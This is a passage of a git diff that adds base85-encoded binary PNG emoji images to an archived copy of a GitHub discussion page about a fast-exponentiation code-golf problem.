zU*Mr$hbyYbNI6Zq*&`S0`il_?^&Xh!-^OMM8Beg$TjEK1x!!e0g2IaSfWIm zheRk9+Nh`~H!k2UL@VgcyaY4?EF?=B;RZY6@99k&IZSe6TM3t|a)3tNsvpqn5G@>>Zi#cL!Jki!pYx7i9@ zL0USYYmb4XF-&WpV*1Lb?(}H*P^>G>34%D>;bqYTsC^?UiRaX?Y~IZM>=9TMI>{;l zT6!rb->c~7yRp7lg}a%`Mg7)L9sRpIPC)HZ$>oXzBO&$W$pjb&)Uhq)V#7|=V?Wnu zBK~Ck;=~k-K%1>qZ^ZxaIQW)g;pFlI{!m}!1D|Y=0T&3nO9Cne2~*C1Ju#0mNS^tI znBQ;AAS&R%x1a*H_KQoG`eQy>%zl4pJ~bR#PIY1RBE z{T+3mi2qalVL%DxR&z*FQ+db_;Pf!oKFtVYRj|C9DtK2l4VpFKkcLkZL*kT*b1PnW zdSLVbnu~@nB)i{mT+~58+b14uEQlj1(E$nQ`*1^ZFVt%y;O}gPATfayQHrk?O~4ak ze;*B*UPfk@AG8#E5%3+x6!^kY)eK1JrjbFBdXlZ|(6%(@ zsaN{1{C9X{o07%Qn1+B2LjX#K@klTvPUy%A8&%URz%!b$kfok#(>;iK5~CGOmtx2L z4Le5f+MEN=gp77x^xq_? zW|Dp2_Id=LP66b&@(8$znIZYbDQs|Cg`l>g{BzZlN#JuB9ErQss>g7IIkXBSW-WJ% zyppui?7aIqxp(ZH{6F;?U6CtktPIXVeM=L5 z4WC75*_;~o;CekJ(UE+s^_DkJgi>Vqs+;PvJ1EyNYrAK{Zv>G5k?G^@eqFh66-qV zzT*YFjSBqjrSB2(4@{vSoARL0tup~;clgATgtB}IA%Q&zt*}7?x(OQ_T9AOf>h{dA z!kil4w6z{i4Xyaxflr$2C+;Hz*|>-qPh5c`;XHfO-Q58nyWdy7-w*1J`j`P0SRrBS z5WsgWNT@s{hBu#!VwJEwnomNun%#X;A6R^jl_mL|U#z#*rK8AII=Mn;zn?4hA=hdg zxI~*cuoI0c*~z_kj3dkOxO&tlokscJI4Q7{`hGXQJ8X0TC>m<K&!6dhOe8zV%EzVlY?<-2> zc$6MvZN1!ol*E&-?UBI65XUvgt)0VOH6@Fne#>wI#JZh8*>7>N?h+qay2R-W87$XK z@8}~Wt7q`Qo85qrrPyx;6_rr;%+XUpu^^!noi#`fv6;Pp=U{^E<8pd);i4 zfa<_(z;_Aq{RgfVm1Ese5oE?q6cdmtE=PQ=61bOO4Akc1fdaa$)u5(7HYpQW`SA%AcR0X2ukM~wM+^4sIi2eJ)8 z6cfO9jL3eMYdh$4zTJ9vDEw*=LPgF9UWyN$&LGq?M*_U4{y1uLgcpqYBXIE^{N2R##`kTm96s*e z(Isj+A;5!?FEE88!BptqYAp0WW6TeD_3Z9oasO_7>>2tHvsM7r2BGa>cfgIOhPL$- z++61dS2F~_7<|E$>j!k<$e-y#|Ky7~0m0Nj8P~TCJ5lzwH#DW9q~1HIM<{aSRpI@9~>>TNzxQv-3-t@pf1uMt99x{Ep39kUE}w~IZoF)D=e z0}`MyQ_$Na*DE%PN~_=ZNk}4xjDb3uPr8qzbHq@a=E?K()@`oPctikIm>EcVEXyC! zjDfPGtibPul5D95H5f+2hr*R*`y|kG%!>p&Rt4A7hC)@c7tm|G!ANADCH~Qv=ePLm zZjqQ8Y@?~zQ*F$XK;=OnOj{x_X8Ax_3g&FR@McY>;ABmf_atgC4*<%g?yxA6E|gsV sWv}GQFMItmF7A>{r0$NpV^EL(0DGp^W~b0{$N&HU07*qoM6N<$f};FOa{vGU literal 0 HcmV?d00001 diff --git a/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/1f440.png b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/1f440.png new file mode 100644 index 0000000000000000000000000000000000000000..0b11401c9ef1119f827fb76f75eb01fbef0e20e4 GIT binary patch literal 1326 zcmV+}1=0G6P)y2bWnv_ns39?ipotMR21GP5 zK@lNlwCB4Utn0pDA8Z0!*LMBx))riT=Da;Ur`via^K`rF|4Gi>@1OU1zs~c#t5!AC zP(uwhfw5_mi&(^xv&_2S{US+X2yzX^1>)Zf*2vBd}mX=SX=r}IuXkv&kO~M zl&mNUqnxmrVjKXOxhp?W57x=yc#x>bpq52B zOdB(kBoTD9&+EZf_V5}b(nm^6V4Gzr3}6Rh#dIt#E}=cbs#8J7$yQD9o+ zF^Yz~%`5BNVLx_|6jNAal6KA$axp83sZ0~YKtJV`wPlRV%6)iXOD?3cJ&0H{Ubs z44|i%-Z=v>V=FB@&pwX1nuO7Mys*vyI>U_N->yc&4MbS8)Utxv83ceTi&!Q5_o~MULM%$bNRSi&olrpM=Zr#9YNbw1`*M zsR%DzB}s-ny?n|cd>r8{GcJGhtSBx!Q2+4CIs-VMaa-hJ)-`u(;*~>G&fz91`XR5Z zQ1|3iT8pgc^5R@W#%QhwTV0y#=7}yhmpRef6-0|wq+oY=Wec;lP^5aX&PIGz zneDgwTc^dG7I@BXFXKe%L!MPP)r+mpXaUDe=IN6fYeyCPh6f4K94`@xoSjNKZ*ggWF7shZfVS9OXxr2)EFYr?idr zW~-0mCMjv&?&UYGs1@dG*960;1QPAfEC*Zt+VON?NFv1FOxQ8b7+nOAuIo=O7h9!2 z@ADt`7Xt(d(@#HP3%Us5PClCsJBsZ-DJ5TLv+aHr3 kZC|_6Y(ot-)X)m*Ur^}){MmW^;s5{u07*qoM6N<$f?P;@e*gdg literal 0 HcmV?d00001 diff --git a/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/1f44d.png b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/1f44d.png new file mode 100644 index 0000000000000000000000000000000000000000..0cd8f6f25b8e1ac39c98e3af9434e84e3f695da2 GIT binary patch literal 2936 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 literal 0 HcmV?d00001 diff --git a/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/1f604.png b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/1f604.png new file mode 100644 index 0000000000000000000000000000000000000000..a297be1fa3d399cf9acbddbeba595f24eee2f2bc GIT binary patch literal 3064 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 S39%yp0000}sP)qc!vaE-#a zFNiFP0*DCCadAAEHBU z)H#iUW;{0H@%}ST%br`}DwXO@wNe?L`@uMt;aq12C`D-hOHls^@B-vGIXr&?jXNd(a=ofo)C2?5($9Lnf2Td&(6*sjHI_9`8&C}xp48~MQCbj zf|hx+iBz9Jf{_5!FP;nX8jWU(QmJf1@=#u04tl*Fu3Wjoa5-X6p9P?vzX#Kub$YFZs^SPU!0DVz_qg8no@-*CzoAPyn1Fa|KKO^y$+hv$C=pQ2?l_s)FX` zX1IL$GPJk16JbXD=FOV~cHV*4TjtMsBJ$0M92ZAWIXUhXB>B|T)IVfqX6mu&5qYvb z)x3cK*RNlP?(S{^owIB0S}o`&yFFHb+TIyp^gO|l$E?4SmX=nH0YoHC5fu4dyLJssN=j0q08m(1 z2o)6-aOu(|sIIPty1F`OY;1&jbi$sPIPhC0gV|p!g(b2eIIc*i%oBNX2y+U1R+9%! zGd+#SH{759u?IM;5|jYPk00N0;=~D{dA_WyjO@?qU#HVi8Q`%R{JseUSI>DcafTO6 zoVoD+(Q__@Y~Dth=gE^}m~*O8z`Bj=K|jv9SAdHsfZD~OM>B5RTY@2f^ytx9hBJJtjawK>_aqTJjPBJTC*+>2rvz zNl-b=`aFPaPbEW{=gHF;M4pX_(<@-9>8alcLV$w@4{k(2Mn(q94sCE~xl2v({Q2_+ zB21dS5XlmZ1#m?N_uT9Q2!v?)4MbV zb5(M3G8{Q_q?ugzOo)qCq)o7sDbgj9zzAR`f|F;XU#YBh7hd}5abA643nUH^b9>q@6f-2GYnf%7{twVcU1Z+{ItRC*F%;*~(zZ$jl-)kPy5hcri?Z z?$I;!EbS-aT}7Z*oJLIEtf|7*zO zEwMZfkO(h@C}Dr>LBI`5RnS1u+0#qeTuJIB{BFY+f`ko;!y)I%`aM4mc*LPSJ_Sg_=g_@pV`OKPWh`@@!cCH!^%MU_*r_vJcCZrFYJMK>0sL!1?hbm&=Odr5COm9hBsmjBz?#qF$umdLHN3Y(807P;9cv0iJ$GvcfL=BX>c6n> z6`_(ua3c}$`1iM=Y2#4X81Ny?@%3$-;doRWV>uvo_=8em1jUAOTHrx z%^E5U0SZJ3SE~lWtt<(&%Iu-(YkR0)gd!|_Ai{-7_HZNA20Atl0$rdu2RQCYYnNPb z9KSR%@&iK(sP+N>-Yy984P}xcT8-%TFZzCPJ@O5>5^T>zX#QUjW{rT3;33ex+XA$! z#T_-@S-;8kA;f{Hp=5coJ_#{cnyPLPJ;ht?8$s;uC~j^WT5h9ay- z5mwtnN7(CdC(#;iBn$-IHgR`dxcFo4SA>mJ;YI=smML0nmS>IPgcNB1^S7G@z}<2Y z+>U<}ZXbIU?xYQdo;(Zq=^Qpi6hIpxuBqE*`yTfzW60V&{=H>Z538f zudxMfw)mDVLv*S(RlKk+lC$Do?(m0000ix7y#hKYTT++)VcRo-)?Yscj$0yaHpkj=!c4mCNAfGarfk8sBqWie;4=U2D;ms zFFD;`=TP=!PxfTbOizgO<$lR_1|_`~Q2bFy@w>s*;;c_`;asOnmAGWM3VT)}ISk@wdW@_3Wtdd5Khq0$#$y99q01L%-U z$3X%f$3YKhgXgu9YiNL-*q@*h1yxe!0F;U9HEUKu;T7q|!o78%tv^;ABtWmlbUXa7 zhyOuAwUbj_!P%DzMxHs>ITipknMvLR)I3_o@SAc@bQH96tb0LR5S@gesR<-N<4_~s zMwB=J&`g9RKjl;6BQz22Vmb*Xj3-DsuO5bVD>Ze9VqMCJE~Dg?i#Rp|G?5A4D53aK 